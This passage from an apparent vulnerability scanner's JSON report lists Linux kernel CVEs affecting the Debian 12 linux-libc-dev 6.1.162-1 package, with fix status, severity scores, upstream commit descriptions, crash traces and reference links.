"e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-39952", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3e57ffaa4ce9e53f191ea84dbd88bcd798cff3920a8ef6863c91bf3fff0530ac", "Title": "kernel: wifi: wilc1000: avoid buffer overflow in WID string configuration", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: wilc1000: avoid buffer overflow in WID string configuration\n\nFix the following copy overflow warning identified by Smatch checker.\n\n drivers/net/wireless/microchip/wilc1000/wlan_cfg.c:184 wilc_wlan_parse_response_frame()\n error: '__memcpy()' 'cfg-\u003es[i]-\u003estr' copy overflow (512 vs 65537)\n\nThis patch introduces size check before accessing the memory buffer.\nThe checks are base on the WID type of received data from the firmware.\nFor WID string configuration, the size limit is determined by individual\nelement size in 'struct wilc_cfg_str_vals' that is maintained in 'len' field\nof 'struct wilc_cfg_str'.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-39952", "https://git.kernel.org/linus/fe9e4d0c39311d0f97b024147a0d155333f388b5%20%286.17-rc5%29", "https://git.kernel.org/stable/c/2203ef417044b10a8563ade6a17c74183745d72e", "https://git.kernel.org/stable/c/5f1578a8684794318a60a022cedbffaa3dc444ce", "https://git.kernel.org/stable/c/6085291a1a5865d4ad70f0e5812d524ebd5d1711", "https://git.kernel.org/stable/c/ae50f8562306a7ea1cf3c9722f97ee244f974729", "https://git.kernel.org/stable/c/fe9e4d0c39311d0f97b024147a0d155333f388b5", "https://lore.kernel.org/linux-cve-announce/2025100421-CVE-2025-39952-e36c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-39952", "https://ubuntu.com/security/notices/USN-8095-1", "https://ubuntu.com/security/notices/USN-8095-2", "https://ubuntu.com/security/notices/USN-8095-3", "https://ubuntu.com/security/notices/USN-8095-4", "https://ubuntu.com/security/notices/USN-8095-5", "https://ubuntu.com/security/notices/USN-8100-1", "https://ubuntu.com/security/notices/USN-8125-1", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://www.cve.org/CVERecord?id=CVE-2025-39952" ], "PublishedDate": "2025-10-04T08:15:48.507Z", "LastModifiedDate": "2026-10-30T13:18:11.903Z" }, { "VulnerabilityID": "CVE-2025-40082", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-40082", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e670ea046e5dee873784a38eeeaac6f8be2e5697f11454d5743352d9a3c41ab9", "Title": "kernel: hfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nhfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc()\n\nBUG: KASAN: slab-out-of-bounds in hfsplus_uni2asc+0xa71/0xb90 fs/hfsplus/unicode.c:186\nRead of size 2 at addr ffff8880289ef218 by task syz.6.248/14290\n\nCPU: 0 UID: 0 PID: 14290 Comm: syz.6.248 Not tainted 6.16.4 #1 PREEMPT(full)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x116/0x1b0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xca/0x5f0 mm/kasan/report.c:482\n kasan_report+0xca/0x100 mm/kasan/report.c:595\n hfsplus_uni2asc+0xa71/0xb90 fs/hfsplus/unicode.c:186\n hfsplus_listxattr+0x5b6/0xbd0 fs/hfsplus/xattr.c:738\n vfs_listxattr+0xbe/0x140 fs/xattr.c:493\n listxattr+0xee/0x190 fs/xattr.c:924\n filename_listxattr fs/xattr.c:958 [inline]\n path_listxattrat+0x143/0x360 fs/xattr.c:988\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcb/0x4c0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fe0e9fae16d\nCode: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fe0eae67f98 EFLAGS: 00000246 ORIG_RAX: 00000000000000c3\nRAX: ffffffffffffffda RBX: 00007fe0ea205fa0 RCX: 00007fe0e9fae16d\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000200000000000\nRBP: 00007fe0ea0480f0 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007fe0ea206038 R14: 00007fe0ea205fa0 R15: 00007fe0eae48000\n \u003c/TASK\u003e\n\nAllocated by task 14290:\n kasan_save_stack+0x24/0x50 mm/kasan/common.c:47\n kasan_save_track+0x14/0x30 mm/kasan/common.c:68\n poison_kmalloc_redzone mm/kasan/common.c:377 [inline]\n __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:394\n kasan_kmalloc include/linux/kasan.h:260 [inline]\n __do_kmalloc_node mm/slub.c:4333 [inline]\n __kmalloc_noprof+0x219/0x540 mm/slub.c:4345\n kmalloc_noprof include/linux/slab.h:909 [inline]\n hfsplus_find_init+0x95/0x1f0 fs/hfsplus/bfind.c:21\n hfsplus_listxattr+0x331/0xbd0 fs/hfsplus/xattr.c:697\n vfs_listxattr+0xbe/0x140 fs/xattr.c:493\n listxattr+0xee/0x190 fs/xattr.c:924\n filename_listxattr fs/xattr.c:958 [inline]\n path_listxattrat+0x143/0x360 fs/xattr.c:988\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcb/0x4c0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nWhen hfsplus_uni2asc is called from hfsplus_listxattr,\nit actually passes in a struct hfsplus_attr_unistr*.\nThe size of the corresponding structure is different from that of hfsplus_unistr,\nso the previous fix (94458781aee6) is insufficient.\nThe pointer on the unicode buffer is still going beyond the allocated memory.\n\nThis patch introduces two warpper functions hfsplus_uni2asc_xattr_str and\nhfsplus_uni2asc_str to process two unicode buffers,\nstruct hfsplus_attr_unistr* and struct hfsplus_unistr* respectively.\nWhen ustrlen value is bigger than the allocated memory size,\nthe ustrlen value is limited to an safe size.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-40082", "https://git.kernel.org/linus/bea3e1d4467bcf292c8e54f080353d556d355e26%20%286.18-rc1%29", "https://git.kernel.org/stable/c/343fe375a8dd6ee51a193a1c233b999f5ea4d479", "https://git.kernel.org/stable/c/5b5228964619b180f366940505b77255b1a03929", "https://git.kernel.org/stable/c/782acde47e127c98a113726e2ff8024bd65c0454", "https://git.kernel.org/stable/c/857aefc70d4ae3b9bf1ae67434d27d0f79f80c9e", "https://git.kernel.org/stable/c/bea3e1d4467bcf292c8e54f080353d556d355e26", "https://git.kernel.org/stable/c/c3db89ea1ed3d540eebe8f3c36e806fb75ee4a1e", "https://linux.oracle.com/cve/CVE-2025-40082.html", "https://linux.oracle.com/errata/ELSA-2026-50160.html", "https://lore.kernel.org/linux-cve-announce/2025102820-CVE-2025-40082-3f03@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-40082", "https://ubuntu.com/security/notices/USN-8029-1", "https://ubuntu.com/security/notices/USN-8029-2", "https://ubuntu.com/security/notices/USN-8029-3", "https://ubuntu.com/security/notices/USN-8030-1", "https://ubuntu.com/security/notices/USN-8048-1", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8296-1", "https://ubuntu.com/security/notices/USN-8296-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://www.cve.org/CVERecord?id=CVE-2025-40082" ], "PublishedDate": "2025-10-28T12:15:42.84Z", "LastModifiedDate": "2026-10-19T21:10:00.16Z" }, { "VulnerabilityID": "CVE-2025-40137", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-40137", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7758f4cf77cb5ecec87875d7e07b9afecb6d449fb857be58661b8bc391cae966", "Title": "kernel: f2fs: fix to truncate first page in error path of f2fs_truncate()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to truncate first page in error path of f2fs_truncate()\n\nsyzbot reports a bug as below:\n\nloop0: detected capacity change from 0 to 40427\nF2FS-fs (loop0): Wrong SSA boundary, start(3584) end(4096) blocks(3072)\nF2FS-fs (loop0): Can't find valid F2FS filesystem in 1th superblock\nF2FS-fs (loop0): invalid crc value\nF2FS-fs (loop0): f2fs_convert_inline_folio: corrupted inline inode ino=3, i_addr[0]:0x1601, run fsck to fix.\n------------[ cut here ]------------\nkernel BUG at fs/inode.c:753!\nRIP: 0010:clear_inode+0x169/0x190 fs/inode.c:753\nCall Trace:\n \u003cTASK\u003e\n evict+0x504/0x9c0 fs/inode.c:810\n f2fs_fill_super+0x5612/0x6fa0 fs/f2fs/super.c:5047\n get_tree_bdev_flags+0x40e/0x4d0 fs/super.c:1692\n vfs_get_tree+0x8f/0x2b0 fs/super.c:1815\n do_new_mount+0x2a2/0x9e0 fs/namespace.c:3808\n do_mount fs/namespace.c:4136 [inline]\n __do_sys_mount fs/namespace.c:4347 [inline]\n __se_sys_mount+0x317/0x410 fs/namespace.c:4324\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nDuring f2fs_evict_inode(), clear_inode() detects that we missed to truncate\nall page cache before destorying inode, that is because in below path, we\nwill create page #0 in cache, but missed to drop it in error path, let's fix\nit.\n\n- evict\n - f2fs_evict_inode\n - f2fs_truncate\n - f2fs_convert_inline_inode\n - f2fs_grab_cache_folio\n : create page #0 in cache\n - f2fs_convert_inline_folio\n : sanity check failed, return -EFSCORRUPTED\n - clear_inode detects that inode-\u003ei_data.nrpages is not zero", "Severity": "HIGH", "VendorSeverity": { "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-40137", "https://git.kernel.org/linus/9251a9e6e871cb03c4714a18efa8f5d4a8818450%20%286.18-rc1%29", "https://git.kernel.org/stable/c/3500d7e1ba53f39bdb8a5aa9c2066b2f08e8c92e", "https://git.kernel.org/stable/c/3b0c8908faa18cded84d64822882a830ab1f4d26", "https://git.kernel.org/stable/c/83a8e4efea022506a0e049e7206bdf8be9f78148", "https://git.kernel.org/stable/c/9251a9e6e871cb03c4714a18efa8f5d4a8818450", "https://git.kernel.org/stable/c/a7b7ebdd7045a36454b3e388a2ecf50344fad9e6", "https://lore.kernel.org/linux-cve-announce/2025111255-CVE-2025-40137-3047@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-40137", "https://ubuntu.com/security/notices/USN-8029-1", "https://ubuntu.com/security/notices/USN-8029-2", "https://ubuntu.com/security/notices/USN-8029-3", "https://ubuntu.com/security/notices/USN-8030-1", "https://ubuntu.com/security/notices/USN-8048-1", "https://ubuntu.com/security/notices/USN-8095-1", "https://ubuntu.com/security/notices/USN-8095-2", "https://ubuntu.com/security/notices/USN-8095-3", "https://ubuntu.com/security/notices/USN-8095-4", "https://ubuntu.com/security/notices/USN-8095-5", "https://ubuntu.com/security/notices/USN-8100-1", "https://ubuntu.com/security/notices/USN-8125-1", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://www.cve.org/CVERecord?id=CVE-2025-40137" ], "PublishedDate": "2025-11-12T11:15:43.44Z", "LastModifiedDate": "2026-10-30T13:18:13.843Z" }, { "VulnerabilityID": "CVE-2025-40333", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-40333", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2a284dd46e4ef5dcff099d06ed62c0d7036de5ab828ebb38caecd48c5a55a6b0", "Title": "kernel: f2fs: fix infinite loop in __insert_extent_tree()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix infinite loop in __insert_extent_tree()\n\nWhen we get wrong extent info data, and look up extent_node in rb tree,\nit will cause infinite loop (CONFIG_F2FS_CHECK_FS=n). Avoiding this by\nreturn NULL and print some kernel messages in that case.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-40333", "https://git.kernel.org/linus/23361bd54966b437e1ed3eb1a704572f4b279e58%20%286.18-rc1%29", "https://git.kernel.org/stable/c/23361bd54966b437e1ed3eb1a704572f4b279e58", "https://git.kernel.org/stable/c/765f8816d3959ef1f3f7f85e2af748594d091f40", "https://git.kernel.org/stable/c/c0b9951bb2668d67eb4817bb23fc109abc08c075", "https://git.kernel.org/stable/c/f4c31adcb2a0556f43776d4e51a67de88d7fb9ee", "https://lore.kernel.org/linux-cve-announce/2025120910-CVE-2025-40333-4f6a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-40333", "https://ubuntu.com/security/notices/USN-8029-1", "https://ubuntu.com/security/notices/USN-8029-2", "https://ubuntu.com/security/notices/USN-8029-3", "https://ubuntu.com/security/notices/USN-8030-1", "https://ubuntu.com/security/notices/USN-8048-1", "https://ubuntu.com/security/notices/USN-8095-1", "https://ubuntu.com/security/notices/USN-8095-2", "https://ubuntu.com/security/notices/USN-8095-3", "https://ubuntu.com/security/notices/USN-8095-4", "https://ubuntu.com/security/notices/USN-8095-5", "https://ubuntu.com/security/notices/USN-8100-1", "https://ubuntu.com/security/notices/USN-8125-1", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://www.cve.org/CVERecord?id=CVE-2025-40333" ], "PublishedDate": "2025-12-09T16:17:43.493Z", "LastModifiedDate": "2026-10-14T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2025-40347", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-40347", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:094d06fc193798f85c662f83615a23aac17b3c8d8e3b34cd94b2c82b0867149b", "Title": "kernel: net: enetc: fix the deadlock of enetc_mdio_lock", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: enetc: fix the deadlock of enetc_mdio_lock\n\nAfter applying the workaround for err050089, the LS1028A platform\nexperiences RCU stalls on RT kernel. This issue is caused by the\nrecursive acquisition of the read lock enetc_mdio_lock. Here list some\nof the call stacks identified under the enetc_poll path that may lead to\na deadlock:\n\nenetc_poll\n -\u003e enetc_lock_mdio\n -\u003e enetc_clean_rx_ring OR napi_complete_done\n -\u003e napi_gro_receive\n -\u003e enetc_start_xmit\n -\u003e enetc_lock_mdio\n -\u003e enetc_map_tx_buffs\n -\u003e enetc_unlock_mdio\n -\u003e enetc_unlock_mdio\n\nAfter enetc_poll acquires the read lock, a higher-priority writer attempts\nto acquire the lock, causing preemption. The writer detects that a\nread lock is already held and is scheduled out. However, readers under\nenetc_poll cannot acquire the read lock again because a writer is already\nwaiting, leading to a thread hang.\n\nCurrently, the deadlock is avoided by adjusting enetc_lock_mdio to prevent\nrecursive lock acquisition.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-40347", "https://git.kernel.org/linus/50bd33f6b3922a6b760aa30d409cae891cec8fb5%20%286.18-rc3%29", "https://git.kernel.org/stable/c/1f92f5bd057a4fad9dab6af17963cdd21e5da6ed", "https://git.kernel.org/stable/c/2781ca82ce8cad263d80b617addb727e6a84c9e5", "https://git.kernel.org/stable/c/2e55a49dc3b2a6b23329e4fbbd8a5feb20e220aa", "https://git.kernel.org/stable/c/50bd33f6b3922a6b760aa30d409cae891cec8fb5", "https://git.kernel.org/stable/c/a649161526736f48bcc592e3a412e5bcd7dd9e24", "https://lore.kernel.org/linux-cve-announce/2025121634-CVE-2025-40347-275c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-40347", "https://ubuntu.com/security/notices/USN-8029-1", "https://ubuntu.com/security/notices/USN-8029-2", "https://ubuntu.com/security/notices/USN-8029-3", "https://ubuntu.com/security/notices/USN-8030-1", "https://ubuntu.com/security/notices/USN-8048-1", "https://ubuntu.com/security/notices/USN-8095-1", "https://ubuntu.com/security/notices/USN-8095-2", "https://ubuntu.com/security/notices/USN-8095-3", "https://ubuntu.com/security/notices/USN-8095-4", "https://ubuntu.com/security/notices/USN-8095-5", "https://ubuntu.com/security/notices/USN-8100-1", "https://ubuntu.com/security/notices/USN-8125-1", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://www.cve.org/CVERecord?id=CVE-2025-40347" ], "PublishedDate": "2025-12-16T14:15:46.47Z", "LastModifiedDate": "2026-10-14T13:10:00.187Z" }, { "VulnerabilityID": "CVE-2025-40354", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-40354", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:02a6fe9ccb7f0addb3649e85a4ac2ca67b6dfcf48c1b48df8920e841b6b67a4d", "Title": "kernel: Linux kernel: Privilege escalation in AMD display driver", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: increase max link count and fix link-\u003eenc NULL pointer access\n\n[why]\n1.) dc-\u003elinks[MAX_LINKS] array size smaller than actual requested.\nmax_connector + max_dpia + 4 virtual = 14.\nincrease from 12 to 14.\n\n2.) hw_init() access null LINK_ENC for dpia non display_endpoint.\n\n(cherry picked from commit d7f5a61e1b04ed87b008c8d327649d184dc5bb45)", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-40354", "https://git.kernel.org/linus/bec947cbe9a65783adb475a5fb47980d7b4f4796%20%286.18-rc3%29", "https://git.kernel.org/stable/c/a3fc0d36cfb927f8986b83bf5fba47dbedad3c63", "https://git.kernel.org/stable/c/bec947cbe9a65783adb475a5fb47980d7b4f4796", "https://git.kernel.org/stable/c/f28092be4e12b7df9e4f415d25bf0d767bc2d9ed", "https://linux.oracle.com/cve/CVE-2025-40354.html", "https://linux.oracle.com/errata/ELSA-2026-50006.html", "https://lore.kernel.org/linux-cve-announce/2025121637-CVE-2025-40354-b9bd@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-40354", "https://ubuntu.com/security/notices/USN-8029-1", "https://ubuntu.com/security/notices/USN-8029-2", "https://ubuntu.com/security/notices/USN-8029-3", "https://ubuntu.com/security/notices/USN-8030-1", "https://ubuntu.com/security/notices/USN-8048-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-40354" ], "PublishedDate": "2025-12-16T14:15:47.31Z", "LastModifiedDate": "2026-10-14T13:10:00.187Z" }, { "VulnerabilityID": "CVE-2025-68315", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-68315", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ccd5e4cc7b0d97c45e1979aecef41c73fab5637410bf01c9d415e5ba200d567d", "Title": "kernel: Linux kernel (f2fs): Denial of service or data corruption via f2fs metadata flaw", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to detect potential corrupted nid in free_nid_list\n\nAs reported, on-disk footer.ino and footer.nid is the same and\nout-of-range, let's add sanity check on f2fs_alloc_nid() to detect\nany potential corruption in free_nid_list.", "Severity": "HIGH", "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-68315", "https://git.kernel.org/linus/8fc6056dcf79937c46c97fa4996cda65956437a9%20%286.18-rc1%29", "https://git.kernel.org/stable/c/6b9525596a83cd5b7bbc2c7bd5f9ad9cf5ad60fa", "https://git.kernel.org/stable/c/88b2ddb0c4f1dc874d4598e78cc830c64315ed86", "https://git.kernel.org/stable/c/8fc6056dcf79937c46c97fa4996cda65956437a9", "https://git.kernel.org/stable/c/9337ed5e777e1c19854928cba7a8131dd00e611b", "https://git.kernel.org/stable/c/adbcb34f03abb89e681a5907c4c3ce4bf224991d", "https://lore.kernel.org/linux-cve-announce/2025121655-CVE-2025-68315-158d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-68315", "https://ubuntu.com/security/notices/USN-8029-1", "https://ubuntu.com/security/notices/USN-8029-2", "https://ubuntu.com/security/notices/USN-8029-3", "https://ubuntu.com/security/notices/USN-8030-1", "https://ubuntu.com/security/notices/USN-8048-1", "https://ubuntu.com/security/notices/USN-8095-1", "https://ubuntu.com/security/notices/USN-8095-2", "https://ubuntu.com/security/notices/USN-8095-3", "https://ubuntu.com/security/notices/USN-8095-4", "https://ubuntu.com/security/notices/USN-8095-5", "https://ubuntu.com/security/notices/USN-8100-1", "https://ubuntu.com/security/notices/USN-8125-1", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://www.cve.org/CVERecord?id=CVE-2025-68315" ], "PublishedDate": "2025-12-16T16:16:11.08Z", "LastModifiedDate": "2026-10-14T16:10:00.25Z" }, { "VulnerabilityID": "CVE-2025-68809", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-68809", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0fd2a43840a90e7eff84b08fa40380c4b0c6a098a9b5fb7f4a1d16de5dcb6959", "Title": "kernel: ksmbd: Remote race condition leads to data integrity issues and denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: vfs: fix race on m_flags in vfs_cache\n\nksmbd maintains delete-on-close and pending-delete state in\nksmbd_inode-\u003em_flags. In vfs_cache.c this field is accessed under\ninconsistent locking: some paths read and modify m_flags under\nci-\u003em_lock while others do so without taking the lock at all.\n\nExamples:\n\n - ksmbd_query_inode_status() and __ksmbd_inode_close() use\n ci-\u003em_lock when checking or updating m_flags.\n - ksmbd_inode_pending_delete(), ksmbd_set_inode_pending_delete(),\n ksmbd_clear_inode_pending_delete() and ksmbd_fd_set_delete_on_close()\n used to read and modify m_flags without ci-\u003em_lock.\n\nThis creates a potential data race on m_flags when multiple threads\nopen, close and delete the same file concurrently. In the worst case\ndelete-on-close and pending-delete bits can be lost or observed in an\ninconsistent state, leading to confusing delete semantics (files that\nstay on disk after delete-on-close, or files that disappear while still\nin use).\n\nFix it by:\n\n - Making ksmbd_query_inode_status() look at m_flags under ci-\u003em_lock\n after dropping inode_hash_lock.\n - Adding ci-\u003em_lock protection to all helpers that read or modify\n m_flags (ksmbd_inode_pending_delete(), ksmbd_set_inode_pending_delete(),\n ksmbd_clear_inode_pending_delete(), ksmbd_fd_set_delete_on_close()).\n - Keeping the existing ci-\u003em_lock protection in __ksmbd_inode_close(),\n and moving the actual unlink/xattr removal outside the lock.\n\nThis unifies the locking around m_flags and removes the data race while\npreserving the existing delete-on-close behaviour.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-68809", "https://git.kernel.org/linus/991f8a79db99b14c48d20d2052c82d65b9186cad%20%286.19-rc1%29", "https://git.kernel.org/stable/c/5adad9727a815c26013b0d41cfee92ffa7d4037c", 